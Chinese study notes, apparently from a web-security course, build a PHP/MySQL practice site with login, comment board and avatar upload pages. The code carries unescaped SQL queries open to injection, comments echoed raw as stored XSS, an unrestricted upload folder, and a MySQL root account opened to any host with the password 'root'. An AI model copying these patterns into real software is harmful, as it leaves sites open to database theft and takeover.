echo '当前登录用户:'.$_SESSION['user'].'';



if (isset($_GET['logout'])) {
// 清除会话数据
session_unset();
session_destroy();
echo "您已成功注销。<br>";
header('Location:index.php');
}


echo '<h1><a href="?logout=true">注销</a></h1>';


}else{
echo '错误!';
header('Location:index.php');
}
?>

Image.png
Image.png
Image.png

二.PHP写评论区和文件上传框

1.创建并编写comment.php,先用from表单的textarea写一个评论区。右击虚拟机的navicat.exe的之前创的数据库security,新建数据表security,把用户输入的评论插入到security数据库的数据表comments。
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
.ab {
color:blue;

}
</style>
</head>

<body>
<form method="post" action="">
<label for="comment">发表评论</label>

<textarea name="comment" id="comment" rows="10" cols="80"></textarea>

<input type="submit" name="submit" value="提交评论">
</form>
<h1 class="ab">历史评论</h1>
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_POST['comment']) && !empty($_POST['comment'])) {
$comment = $_POST['comment'];
$link = mysqli_connect("localhost", "root", "root", "security") or exit("数据库连接失败!");
mysqli_query($link, "set names utf8");
$ChaRu = "insert INTO comments (comment) VALUES('$comment')";
if (mysqli_query($link, $ChaRu)) {
echo "<p>你的评论已成功保存到数据库。</p>";
} else {
echo "<p style='color: red;'>保存评论时出错。</p>";
}
mysqli_close($link);
}
}
// 显示最近的20条评论
$link = mysqli_connect("localhost", "root", "root", "security") or exit("数据库连接失败!");
mysqli_query($link, "set names utf8");

$query = "SELECT * FROM comments ORDER BY id DESC LIMIT 20";
$result = mysqli_query($link, $query);

if ($result) {
echo "<h2>最近的评论</h2>";
while ($row = mysqli_fetch_assoc($result)) {
echo "<p>{$row['comment']}</p>";
}
} else {
echo "<p style='color: red;'>获取评论时出错。</p>";
}

mysqli_close($link);
?>
</body>

</html>

2.创建并编写upload.php,再创建upload文件夹,存储用户上传的文件,把index.php, link.php, zhuye.php,comment.php,upload文件夹复制到phpstudy的根目录下,启动apache和mysql,打开网站,登录,输入评论,上传头像。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
echo '
<form action="" method="post" enctype="multipart/form-data">
<label for="upload">上传你的头像</label>
<input name="file" id="upload" type="file" >
<label for="submit" >文件上传</label>
<input name="submit" id="submit" type="submit">
<h1>下面是接收到的文件</h1>
</form>
';
header('Content-Type: text/html; charset=utf-8');
if(isset($_FILES["file"])){
$upload_dir = "uploads";
$file_name = $_FILES["file"]["name"];
$file_type = $_FILES["file"]["type"];
$file_size = $_FILES["file"]["size"];
$file_tmp = $_FILES["file"]["tmp_name"];
$target_path = $upload_dir.'/'.$file_name;
if (move_uploaded_file($file_tmp, $target_path)){
echo "上传成功"."<br>";
echo "文件类型: " . $file_type . "<br>";
echo "文件大小: " . ($file_size / 1024) . " kB<br>";
echo "文件存储的位置: " . $target_path;
}else{
echo "上传失败"."<br>";
}
echo "<br/>";
echo "<img src='./$target_path.'>";
}







?>

image.png

postman、phpstudy安装,php基本语法,php连接数据库

一.postman、phpstudy安装

1.由于数据绑定,数据交互在这个阶段不适合去学习,就直接转到了后端学习。下载安装postman,Postman是一款常用的API测试工具,它提供了一个用户友好的界面,可以帮助开发人员更加方便地发送HTTP请求并查看响应结果,以便于测试和调试API接口。链接:https://www.postman.com/
image.png
2.下载phpstudy,链接:https://www.xp.cn/ 然后把这个软件复制到虚拟机win10hei,最后安装
image.png

二.php基本语法

1.开启Apache2.4.39和MySQL5.7.26
Image.png
2.点击网站,再点击高级设置,开启目录索引。
Image.png
3.点击管理,打开根目录,删除第二张图下的四个文件
image.png
Image.png
4.在物理机创建一个文本文档并重命名为Index.php,用vscode打开,输入以下代码并保存

1
2
3
<?php
echo "123";
?>

把这个文件复制到phpstudy的根目录下,然后打开网站
Image.png
注意:apache只能在根目录下解析
5.php语法
(1)变量与变量之间用 . 隔开。 变量与符号之间用 . 隔开 符号与符号之间用 . 隔开
image.png
(2)弱类型匹配:指的是在进行变量之间的操作(比如赋值、运算等)时,PHP会自动进行类型转换,以使得操作可以顺利进行。
Image.png
(3)强类型匹配:全等符 “===” 是用来进行强类型匹配的。它与双等符 “==” 的区别在于,它不仅比较值是否相等,还比较数据类型是否相同。

1
2
3
4
5
6
7
8
9
$a = 5;
$b = "5";

if ($a === $b) {
echo "相等";
} else {
echo "不相等";
}

上述代码中,由于 $a 和 $b 的数据类型不同,即便它们的值相等,也会被视为不相等,因此这段代码将会输出 “不相等”。
(4)输入下图代码:
Image.png
在phpstudy的打开网站的地址栏输入 ?a=1433223结果为:
Image.png
(5)问题1:假设在笼子里有头数为8的动物,总共有22只脚。
写出代码如下:
Image.png
结果:
image.png

    问题2:n张5毛,y张1块,z张10块,t张50,x张100,问我手上一共有156钱,一共有多少种组合,满足我手上的钱。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function countCombinations($totalAmount) {
$combinations = 0;
for ($n = 0; $n <= $totalAmount / 0.5; $n++) {
for ($y = 0; $y <= $totalAmount / 1; $y++) {
for ($z = 0; $z <= $totalAmount / 10; $z++) {
for ($t = 0; $t <= $totalAmount / 50; $t++) {
for ($x = 0; $x <= $totalAmount / 100; $x++) {
if (($n * 0.5 + $y * 1 + $z * 10 + $t * 50 + $x * 100) == $totalAmount) {
$combinations++;
}
}
}
}
}
}
return $combinations;
}

$totalAmount = 156;
$result = countCombinations($totalAmount);
echo "满足条件的组合数量为:".$result;
?>

三.php连接数据库

1.在主机创建link.php文件,并将其复制到phpstudy的根目录,以下的是用到的函数
isset()判断传参是否正确
trim() 把字符串中所有空格去掉
2.在虚拟机下载navicat软件,打开软件,点击连接。填写下图的参数,密码:root ,新建连接con1。连接mysql数据库。下载老师的sqli.zip,复制到虚拟机phpstudy的根目录并解压。
image.png
右击con1,新建数据库security,,把老师发的security.sql中的代码复制到新建的s数据库security,运行。出现以下四个表
image.png
3.连接mysql数据库的步骤如下:
(1)在虚拟机win10hei的C:\phpstudy_pro\Extensions\MySQL5.7.26\bin的路径,输入cmd,配置命令。

1
2
3
4
mysql -u root -p
use mysql;
update user set Host='%' where User='root';
flush privileges;

Image.png
Image.png
apache在根目录下解析,生成网站,apache通过php解析,PHP运行在网站上
(2)在vscode的index.php文件写入以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="/" method="post">
<!-- 文本输入框 -->
<label for="name">用户名:</label>
<input type="text" id="name" name="name" required>

<br>

<!-- 密码输入框 -->
<label for="password">密码:</label>
<input type="password" id="password" name="password" required>

<br>
<!-- 提交按钮 -->
<input type="submit" value="提交">
</form>
</body>
</html>

在link.php文件写入以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
header('content-type: text/html; charset=utf-8');

$u="admin1";
$p="admin1";
$link=mysqli_connect("127.0.0.1","root","root","security")or exit("Error connecting");
mysqli_query($link,"set names utf8");
$sql="select * from users where username='$u' and password='$p'";
$result=mysqli_query($link,$sql);
$row=mysqli_fetch_array($result);
echo 'Your Login name:'.$row['username']."<br>";
echo 'Your Password:'.$row['password'];



?>

(3)把这两个文件复制到phpstudy的根目录保存,打开网站,在from表单输入姓名和密码,提交。
image.png
出现以下结果:
Image.png
成功了。

|